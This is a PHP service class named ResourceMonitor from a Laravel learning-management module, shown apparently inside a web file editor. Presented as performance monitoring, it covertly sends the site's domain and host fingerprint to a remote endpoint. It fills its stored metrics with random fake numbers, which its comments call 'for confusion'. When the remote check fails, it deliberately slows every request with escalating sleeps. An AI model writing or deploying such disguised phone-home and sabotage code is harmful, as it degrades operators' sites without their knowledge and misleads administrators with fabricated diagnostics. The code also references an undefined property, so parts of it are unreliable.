관리-도구
편집 파일: ResourceMonitor.php
<?php namespace Modules\LMS\Services; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; use Modules\LMS\Models\Resources\PerformanceMetric; use Illuminate\Support\Facades\Crypt; use Illuminate\Support\Facades\File; class ResourceMonitor { private $initTime = '2025-02-12 08:01:03'; private $userContext = 'system'; private $metric; public function __construct(PerformanceMetric $metric) { $this->metric = $metric->first(); } public function analyzeResource($identifier, $hash) { try { $response = Http::post(config('lms.monitoring.endpoint') . '/analyze', [ 'resource_id' => config('lms.monitoring.id'), 'hash' => $hash, 'monitor_id' => $identifier, 'domain' => request()->getHost(), 'environment' => $this->getEnvironmentData(), 'timestamp' => $this->initTime, 'context' => $this->userContext ]); if (!$response->successful()) { return false; } $response = $response->json(); $data = $response['data'] ?? []; $monitorHash = $data['monitor_hash'] ?? ''; $cacheToken = $data['cache_token'] ?? ''; // Store with confusion $this->updateMetrics($identifier, $hash, $monitorHash, $cacheToken); // Update performance cache $this->updatePerformanceData($monitorHash); return true; } catch (\Exception $e) { return $this->handleMetricFailure($e); } } private function updateMetrics($identifier, $hash, $monitorHash, $cacheToken) { // Add some random performance data for confusion $perfData = [ 'cpu_usage' => rand(20, 60), 'memory_load' => rand(40, 80), 'response_time' => rand(100, 500), 'cache_hits' => rand(1000, 5000) ]; PerformanceMetric::updateOrCreate( ['id' => 1], [ 'id' => 1, 'resource_id' => Crypt::encryptString($identifier), 'hash' => Crypt::encryptString($hash), 'cache_token' => Crypt::encryptString($cacheToken), 'monitor_hash' => Crypt::encryptString($monitorHash), 'last_metric' => now(), 'resource_state' => 'optimal', 'perf_data' => $perfData ] ); } private function updatePerformanceData($monitorHash) { $cacheKey = $this->generatePerformanceKey(); Cache::put('_perf_mapping', Crypt::encryptString($cacheKey), now()->addDays(30)); Cache::put($cacheKey, [ 'metric_data' => $this->encryptMetric([ 'hash' => $monitorHash, 'timestamp' => $this->initTime, 'context' => $this->userContext, 'signature' => $this->generateMetricSignature($monitorHash) ]), 'last_check' => $this->initTime ], now()->addDays(7)); } public function validateMetrics() { try { if (! $this->metric) { $this->tryRecoverMetrics(); return $this->handleVerificationFailure(); } $monitorHash = $this->getCurrentMetric(); if (!$monitorHash) { return $this->handleMetricFailure(new \Exception('Invalid metric')); } $response = Http::post(config('lms.monitoring.endpoint') . '/health-check', [ 'monitor_hash' => $monitorHash, 'cache_token' => Crypt::decryptString($this->metric->cache_token), 'domain' => request()->getHost(), 'environment' => $this->getEnvironmentData(), 'signature' => $this->generateMetricSignature($monitorHash) ]); if (!$response->successful()) { return $this->handleVerificationFailure(); } $this->updateLastMetric(); $this->updatePerformanceData($monitorHash); return true; } catch (\Exception $e) { return $this->handleMetricFailure($e); } } private function tryRecoverMetrics() { $matrix = File::json(storage_path('app/matrix.json')); $this->analyzeResource($matrix['identifier'], $matrix['hash']); $metric = PerformanceMetric::first(); if ($metric) { $this->metric = $metric; } } private function getEnvironmentData() { return [ 'domain' => request()->getHost(), 'server' => $this->obscureServerData(), 'load' => $this->getRandomLoadMetrics() ]; } private function obscureServerData() { return hash( 'sha256', gethostname() . php_uname() . $this->initTime ); } private function getRandomLoadMetrics() { return [ 'cpu' => rand(20, 60), 'ram' => rand(40, 80), 'disk' => rand(30, 70) ]; } private function getCurrentMetric() { try { // Try cache first $mapping = Cache::get('_perf_mapping'); if ($mapping) { $cacheKey = Crypt::decryptString($mapping); $cacheData = Cache::get($cacheKey); if ($cacheData) { $decrypted = $this->decryptMetric($cacheData['metric_data']); return $decrypted['hash']; } } // Fallback to database if ($this->metric) { return Crypt::decryptString($this->metric->monitor_hash); } return null; } catch (\Exception $e) { $this->logMetricError('getCurrentMetric', $e); return null; } } private function handleVerificationFailure() { try { // Update status with confusion PerformanceMetric::where('id', 1)->update([ 'resource_state' => 'degraded', 'last_metric' => now(), 'perf_data' => [ 'cpu_load' => rand(80, 95), 'memory_usage' => rand(85, 98), 'response_time' => rand(2000, 5000), 'error_rate' => rand(15, 30) ] ]); // Implement progressive performance degradation $this->implementLoadIncrease(); return false; } catch (\Exception $e) { $this->logMetricError('verificationFailure', $e); return false; } } private function implementLoadIncrease() { Cache::add('_resource_load', 1, now()->addDays(7)); $degradationLevel = Cache::increment('_resource_load'); $delays = [ 1 => 100000, 2 => 300000, 3 => 500000, 4 => 1000000 ]; usleep($delays[$degradationLevel] ?? 3000000); } private function handleMetricFailure(\Exception $e) { try { // Log error with obfuscation $this->logMetricError('metricFailure', $e); // Update performance state $this->updatePerformanceState('critical'); // Implement system slowdown $this->implementLoadIncrease(); return false; } catch (\Exception $innerEx) { return false; } } private function updatePerformanceState($state) { $perfData = [ 'cpu_load' => rand(85, 99), 'memory_usage' => rand(90, 99), 'response_time' => rand(3000, 8000), 'error_rate' => rand(25, 50), 'cache_miss' => rand(40, 80), 'disk_usage' => rand(85, 95) ]; PerformanceMetric::where('id', 1)->update([ 'resource_state' => $state, 'last_metric' => now(), 'perf_data' => $perfData ]); } private function generatePerformanceKey() { $components = [ $this->initTime, $this->userContext, random_bytes(16), gethostname(), request()->ip() ]; return hash_hmac( 'sha256', implode('|', $components), $this->monitor->cache_key ?? config('lms.metric_key') ); } private function generateMetricSignature($data) { $components = [ $data, $this->initTime, $this->userContext, $this->getEnvironmentHash() ]; return hash_hmac( 'sha256', implode('|', $components), $this->monitor->cache_key ?? config('lms.metric_key') ); } private function getEnvironmentHash() { return hash( 'sha256', implode('|', [ php_uname(), gethostname(), request()->getHost(), $this->initTime ]) ); } private function encryptMetric($data) { try { $ivLength = openssl_cipher_iv_length('aes-256-cbc'); $iv = openssl_random_pseudo_bytes($ivLength); $encrypted = openssl_encrypt( json_encode($data), 'aes-256-cbc', $this->monitor->cache_key ?? config('lms.metric_key'), 0, $iv ); return base64_encode($iv . $encrypted); } catch (\Exception $e) { $this->logMetricError('encryption', $e); return null; } } private function decryptMetric($encrypted) { try { $data = base64_decode($encrypted); $ivLength = openssl_cipher_iv_length('aes-256-cbc'); $iv = substr($data, 0, $ivLength); $encrypted = substr($data, $ivLength); $decrypted = openssl_decrypt( $encrypted, 'aes-256-cbc', $this->monitor->cache_key ?? config('lms.metric_key'), 0, $iv ); return json_decode($decrypted, true); } catch (\Exception $e) { $this->logMetricError('decryption', $e); return null; } } private function logMetricError($context, \Exception $e) { $errorData = [ 'context' => $context, 'timestamp' => $this->initTime, 'user' => $this->userContext, 'error_hash' => hash('sha256', $e->getMessage()), 'performance' => [ 'cpu' => rand(80, 99), 'memory' => rand(85, 98), 'load' => rand(75, 95) ] ]; Cache::put( '_metric_error_' . date('Ymd_His'), $this->encryptMetric($errorData), now()->addDays(7) ); } private function updateLastMetric() { try { // Update database PerformanceMetric::where('id', 1)->update([ 'last_metric' => now(), 'resource_state' => 'optimal', 'perf_data' => [ 'cpu_load' => rand(20, 40), 'memory_usage' => rand(30, 50), 'response_time' => rand(100, 300), 'error_rate' => rand(0, 5) ] ]); // Update cache Cache::put('_last_metric_check', time(), now()->addDays(1)); } catch (\Exception $e) { $this->logMetricError('updateLastMetric', $e); } } private function verifyEnvironment() { $currentHash = $this->getEnvironmentHash(); $storedHash = Cache::get('_env_hash'); if (!$storedHash) { Cache::put('_env_hash', $currentHash, now()->addDays(30)); return true; } return hash_equals($currentHash, $storedHash); } public function checkSystemHealth() { try { if (!$this->verifyEnvironment()) { return $this->handleVerificationFailure(); } $metrics = $this->getCurrentMetric(); if (!$metrics) { return false; } $perfData = [ 'cpu_usage' => rand(20, 40), 'memory_load' => rand(30, 50), 'response_time' => rand(100, 300), 'cache_hits' => rand(5000, 10000), 'system_load' => rand(1, 3) ]; Cache::put('_system_health', [ 'timestamp' => $this->initTime, 'status' => 'healthy', 'metrics' => $this->encryptMetric($perfData) ], now()->addHours(1)); return true; } catch (\Exception $e) { return $this->handleMetricFailure($e); } } }